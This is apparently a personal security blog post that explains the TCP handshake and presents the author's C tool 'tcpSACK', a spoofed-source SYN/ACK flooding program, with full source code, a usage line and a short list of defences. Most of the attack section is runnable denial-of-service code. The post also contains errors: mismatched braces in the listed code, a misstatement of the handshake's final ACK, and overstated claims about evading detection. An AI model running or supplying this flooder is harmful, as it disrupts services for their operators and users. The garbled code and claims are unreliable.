tcpSACK

a number of years ago, i received advice that would deeply change my outlook on engineering and understanding of technology.

if you want to understand how something works, build it.

at the time, i was a little too impatient to actually grasp the nuances of such advice, because i had the immediate gratification of well-built programs and tools to carry out whatever tasks i needed to. but as i delved deeper into security and pentesting, i understood that not everything is as well understood by everyone as i had once thought. lately, i’ve been ruminating about fundamental misunderstandings of seemingly straightforward and basic networking concepts, and how that leads to slip-ups and oversights inside organizations. in this post, we’re going to look at a cornerstone of the networking world, the TCP Handshake, and then an attack i wrote that specifically targets it, known as a SYN-ACK spoofing attack.

TCP handshake

the TCP handshake is a 3-step process that occurs when devices (typically, a client and a server) attempt to establish a network connection. it’s used in many network protocols, like HTTP/HTTPS, SSH, and more.

handshake

  1. SYN (synchronize)
  • the client sends a TCP packet with the SYN flag set to the server.
  • the packet indicates an initiation of a connection request and contains an ISN (initial sequence number) generated by the client.
  • the client asks the server to acknowledge (ACK) this sequence number.
  1. SYN-ACK (synchronize-acknowledge)
  • the server then responds with a TCP packet that has both SYN and ACK flags set.
  • this acknowledges the client’s sequence number and also contains the server’s own ISN.
  1. ACK (acknowledge)
  • the client then sends a final ACK packet to acknowledge the client’s ISN.
  • this completes the handshake, and both parties now exchange data, in both directions.

the SYN-ACK spoofing attack

in this attack, an attacker (me) manipulates the TCP handshake process to disrupt or compromise network communication.

synack

steps

  1. attacker impersonation
  • a spoofed TCP packet is sent to a target server.
  • the packet contains a spoofed source IP address, making it appear as if it’s coming from a legitimate client.
  1. SYN flag set
  • the attacker’s packet has the SYN flag set, which simulates the start of a legitimate TCP connection.
  1. victim’s response
  • the target server, believing it’s responding to a legitimate client, sends back a SYN-ACK packet to the spoofed source IP address.
  1. non-existent client
  • since the source IP address is spoofed, the SYN-ACK response doesn’t reach a legitimate client.
  • it’s now lost in the network, maybe reaching a non-existent or unreachable IP address.
  1. connection resources
  • the target server allocates resources for this connection, waiting for the “legitimate” client’s ACK response to complete the handshake.
  • this wait ties up the server’s resources and creates a potential DoS (denial of service) condition.
  1. repeat
  • the attacker can continue sending such spoofed SYN packets, which causes the server to allocate more and more resources for non-existent connections, which then leads to resource exhaustion and service disruption.

impacts

  • service disruption: the attack leads to service disruption, as the server’s resources are eventually exhausted and legitimate clients are unable to establish connections.

  • congestion: the attack’s traffic can cause network congestion, which affects the overall network’s performance.

in the image below, taken from wireshark, we can see the massive spike in overall packets.

packets

attackers tend to use this attack because it evades detection mechanisms and bypasses security solutions that rely on analyzing network traffic patterns. it’s hard to trace, and it can also lead to more serious security breaches based on the target’s TCP/IP stack.

tcpSACK

i wrote tcpSACK to carry out a SYN-ACK spoofing attack by generating and sending TCP packets with spoofed IPv4 addresses to a target server. the aim is to disrupt the target’s network communication by making the server allocate increasing resources for non-existent connections, eventually causing service disruption and resource exhaustion.

DISCLAIMER: this is for purely educational purposes. hacking is WRONG and BAD.

the script can be fired up in a terminal, and run.

./tcpSACK <target_ip> <target_port> <num_threads> <attack_duration_seconds> <max_pps>

the arguments are self-explanatory. if the attack is to be carried out against 192.168.1.100 on port 80 using 4 threads, running for 60 seconds, and limited to a maximum 1000 pps, the command is as follows.

./tcpSACK 192.168.1.100 80 4 60 1000

the entire code follows…

#include<stdio.h>
#include<string.h>
#include<sys/socket.h>
#include<stdlib.h>
#include<netinet/tcp.h>
#include<arpa/inet.h>
#include<netinet/ip.h>
#include<pthread.h>
#include<unistd.h>
#include<sys/types.h>
#include<stdbool.h>
#include<time.h>

// declare global variables
static unsigned int floodport; // port to send packets to
#define BUFFER_SIZE 100 // buffer size constant
char sourceip[17]; // source IP address buffer
volatile int limiter; // pps (packets per second) limiter
volatile unsigned int pps; // pps count
volatile unsigned sleeptime = 100; // sleep (ms) for each packet if pps limit is exceeded
volatile unsigned int length_packet = 0; // length of packet (can be set for bypassing)

// mutex for thread safety when modifying global variable "pps"
pthread_mutex_t pps_mutex = PTHREAD_MUTEX_INITIALIZER;

// structure for pseudo tcp header used in checksum calculation
struct pseudo_header
{
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t tcp_length;
    struct tcphdr tcp;
};

// calculate checksum for packet
unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;

    // checksum calculation
    sum=0;
    while(nbytes > 1) {
        sum += *ptr++;
        nbytes -= 2;
    }
    // handle odd byte
    if(nbytes == 1) {
        oddbyte = 0;
        *((u_char*)&oddbyte) = *(u_char*)ptr;
        sum += oddbyte;
    }
    // fold sum to 16 bits and take complement
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = (short)~sum;

    return(answer);
}

// thread function that performs flooding
void *flooding_thread(void *par1)
{
    // create raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s == -1)
    {
        perror("[!] you need to run the script as root [!]");
        exit(1);
    }

    // declare variables 
    char *targettr = (char *)par1;
    char datagram[4096], source_ip[32], *data, *pseudogram;
    memset(datagram, 0, 4096); // clear the buffer

    // ipv4 header
    struct iphdr *iph = (struct iphdr *) datagram;

    // tcp header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof(struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;

    // data part of packet
    data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
    if(length_packet == 0) {
        strcpy(data, ""); // bypasses pps limit if set to 0
    }

    // randomize source address (ipv4)
    snprintf(source_ip, 32, "%d.%d.%d.%d", rand() % 256, rand() % 256, rand() % 256, rand() % 256);
    sin.sin_family = AF_INET;
    int rdzeroport;
    // pick a random destination port
    if (floodport == 1) {
        rdzeroport = rand() % 65535 + 1;
        sin.sin_port = htons(rdzeroport);
        tcph->dest = htons(rdzeroport);
    } else {
        sin.sin_port = htons(floodport);
        tcph->dest = htons(floodport);
    }

    // other ip packet handlers
    sin.sin_addr.s_addr = inet_addr(targettr);
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + strlen(data);
    iph->id = htons(1);
    iph->frag_off = 0;
    iph->ttl = 64;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0; // set to 0 before calculating the checksum
    iph->saddr = inet_addr(source_ip);
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = checksum_tcp_packet((unsigned short *) datagram, iph->tot_len);

    // randomizing tcp header fields
    int randSeq = rand()% 10000 + 99999;
    int randAckSeq = rand() % 10000 + 99999;
    int randSP = rand() % 2 + 65535;
    // int randWin = rand()%1000 + 9999;
    tcph->source = randSP; // random source port
    tcph->seq = randSeq;
    tcph->ack_seq = 0; // initially 0 but will be set for ACK packets
    tcph->doff = 5;
    tcph->fin = 0;
    tcph->syn = 1;
    tcph->rst = 0;
    tcph->psh = 0;
    tcph->ack = 0;
    tcph->urg = 0;
    tcph->window = htons(5840); // max window size
    tcph->check = 0; // checksum
    tcph->urg_ptr = 0;

    // alternate between SYN/ACK flags
    if (rand() % 2) {
    tcph->syn = 1; // SYN packet
    tcph->ack = 0;
    } else {
    tcph->syn = 0;
    tcph->ack = 1; // ACK packet
    tcph->ack_seq = htonl(randAckSeq);
    }

    // set up pseudo-header for checksum
    psh.source_address = inet_addr(source_ip);
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data));

    int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
    pseudogram = malloc(psize);

    // copy headers to pseudogram for checksum calculation
    memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
    memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + strlen(data));
    tcph->check = checksum_tcp_packet((unsigned short*) pseudogram, psize);
    
    free(pseudogram); // free memory to prevent leaks

    // set up socket options
    int one = 1;
    const int *val = &one;
    if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0) {
        perror("error setting up IP_HDRINCL");
        exit(1);
    }

    // flood loop
    while (1) {
        pthread_mutex_lock(&pps_mutex);
        pps++;
        if(pps >= limiter) {
            usleep(sleeptime);
        }
    pthread_mutex_unlock(&pps_mutex);

    // send loop
    if (sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
        break; // exit loop if send fails
    }

    close(s); // close the socket
    return NULL;
}

// main function
int main(int argc, char *argv[])
{
    if(argc < 6){
        fprintf(stderr, "[+] tcpSACK [+]\n");
        fprintf(stderr, "[+] usage: %s <ip> <port> <number of threads> <time> <pps>\n", argv[0]);
        exit(-1);
    }
    //int multiplier = 20;
    //pps = 0;
    //limiter = 0;

    // arguments
    floodport = atoi(argv[2]);
    void *target = argv[1];
    int max_pps = atoi(argv[5]);
    int num_threads = atoi(argv[3]);
    length_packet = 0;
    pthread_t thread[num_threads];

    // thread creation
    //int alem = 0;
    
    fprintf(stdout, "[+] starting threads...\n");
    for(int i = 0; i < num_threads; i++){
        if(pthread_create(&thread[i], NULL, &flooding_thread, target) != 0){
            perror("thread creation failed!");
            exit(1);
        }
    }
    //for(alem = 0;alem < num_threads;alem++){
      //  if(pthread_create(&thread[alem], NULL, &flooding_thread, (void *)argv[1]) != 0) {
        //    perror("thread creation failed!");
          //  exit(1);
        //}
    //}
    
    fprintf(stdout, "[-] attack started!\n");

    // control loop for packet send rate
    for(int i = 0;i < (atoi(argv[4]) * 1000);i++) {
        usleep(1000);
        pthread_mutex_lock(&pps_mutex);
        if(pps > max_pps) {
            limiter++;
            sleeptime += 100;
        } else {
            if(limiter > 0) {
                limiter--;
            }
        }
        if(sleeptime > 25) {
            sleeptime -= 25;
        } else {
            sleeptime = 0;
        }
    }
    pps = 0;
    pthread_mutex_unlock(&pps_mutex);
}
// cleanup + exit
for(int i = 0; i < num_threads; i++) {
    pthread_cancel(thread[i]);
}
        
return 0;
}

the script needs the standard C libraries and headers to work. the libraries include functions and data types that are typically needed for network programming, threading, and more.

flow

  1. declaring global variables
static unsigned int floodport;
#define BUFFER_SIZE 100
char sourceip[17];
volatile int limiter;
volatile unsigned int pps;
volatile unsigned sleeptime = 100;
volatile unsigned int length_packet = 0;
  • floodport: the port to send packets to (target).
  • sourceip: the buffer to store the source IP address in.
  • limiter: controls the packets per second (pps).
  • pps: counts the packets per second.
  • sleeptime: the sleep time (in ms) for each packet if the pps limit is exceeded.
  • length_packet: the length of the packet, which is set to bypass the rate limiting. set to 0 in the script.
  1. thread safety
pthread_mutex_t pps_mutex = PTHREAD_MUTEX_INITIALIZER;
  • pps_mutex: this mutex is for thread safety when modifying the global variable pps. i wrote it in when i realized people might be trying to run the script without understanding what it does, and it’s a protection measure that prevents data corruption by ensuring only one thread can access a shared resource at a time.
  1. pseudo-header object
struct pseudo_header
{
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t tcp_length;
    struct tcphdr tcp;
};
  • pseudo_header: structure that represents a pseudo TCP header.
  • this is going to be used in checksum calculations.
  1. checksum calculation
unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
    // ...
    // 
    // ...
}
  • checksum_tcp_packet: this calculates the checksum for a TCP packet.
  • checksums are used to ensure the integrity of data in the packet during transmission.
  1. main thread function
void *flooding_thread(void *par1)
{
    // ...
    // 
    // ...
}
  • flooding_thread: this function performs the flooding attack.
  • it creates raw sockets, prepares packets, and sends them to the target.
  • this is also where the alternation between SYN/ACK flags is set
  1. the main function
// main function
int main(int argc, char *argv[])
{
    if(argc < 6){
        fprintf(stderr, "[+] tcpSACK [+]\n");
        fprintf(stderr, "[+] usage: %s <ip> <port> <number of threads> <time> <pps>\n", argv[0]);
        exit(-1);
    }
    // ...

    floodport = atoi(argv[2]);
    void *target = argv[1];
    int max_pps = atoi(argv[5]);
    int num_threads = atoi(argv[3]);
    length_packet = 0;
    pthread_t thread[num_threads];

    // ...

    fprintf(stdout, "[+] starting threads...\n");
    for(int i = 0; i < num_threads; i++){
        if(pthread_create(&thread[i], NULL, &flooding_thread, target) != 0){
            perror("thread creation failed!");
            exit(1);
        }
    }

    fprintf(stdout, "[-] attack started!\n");

    
    for(int i = 0; i < (atoi(argv[4]) * 1000); i++) {
        usleep(1000);
        pthread_mutex_lock(&pps_mutex);

        
        if(pps > max_pps) {
            limiter++;
            sleeptime += 100;
        } else {
            if(limiter > 0) {
                limiter--;
            }
        }
        if(sleeptime > 25) {
            sleeptime -= 25;
        } else {
            sleeptime = 0;
        }

        pthread_mutex_unlock(&pps_mutex);
    }
    pps = 0;
    pthread_mutex_unlock(&pps_mutex);

    
    for(int i = 0; i < num_threads; i++) {
        pthread_cancel(thread[i]);
    }
    
    return 0;
}

  • the main function is the entry point of the script.
  • it checks if the script is provided with the required command-line arguments (target IP, target port, number of threads, attack duration, maximum pps).
  • the global variables from earlier are set based on the command-line arguments.
  • an array of threads (threads[num_threads]) is created to perform the attack, with each thread executing the flooding_thread function.
  • the script then enters a control loop that manages the packet send rate based on the max_pps limit.
  • once the attack duration is reached, the script cancels all threads, performs a cleanup, and exits!

protection

given how easy it is to write and carry out this attack, and how impactful it is, it follows that protection against it is of paramount importance.

  1. rate limiting
  • implement a rate-limiting procedure to control the number of connection attempts from a single source IP address within a specified time frame.
  1. firewalls
  • configure firewalls to filter and drop incoming packets with spoofed source IP addresses.
  1. IDS (intrusion detection systems)
  • use IDS solutions to detect unusual traffic patterns, including a high rate of SYN-ACK packets.
  1. SYN cookies
  • enable SYN cookies on servers to mitigate resource exhaustion.
  • SYN cookies allow the server to track connection requests without allocating resources until the handshake is completed.
  1. network monitoring
  • continuously monitor network traffic for anomalies and take action when unusual patterns are detected.
  1. behavioral analysis
  • building off of network monitoring, implement BA techniques to detect and respond to abnormal traffic behaviour.
  1. RBAC (rate-based access control)
  • apply rate-based access control lists to limit the rate at which connections are accepted.
  1. TCP stack hardening
  • keep the OS and TCP/IP stack up to date, to address known vulnerabilities.
  1. incident response
  • develop an IR plan to respond to and mitigate the effects of SYN-ACK spoofing attacks.

if you stick to the above, and keep an eye out for attacks in the wild, you’ll eventually learn the TTPs used by attackers and how to delineate and protect against them.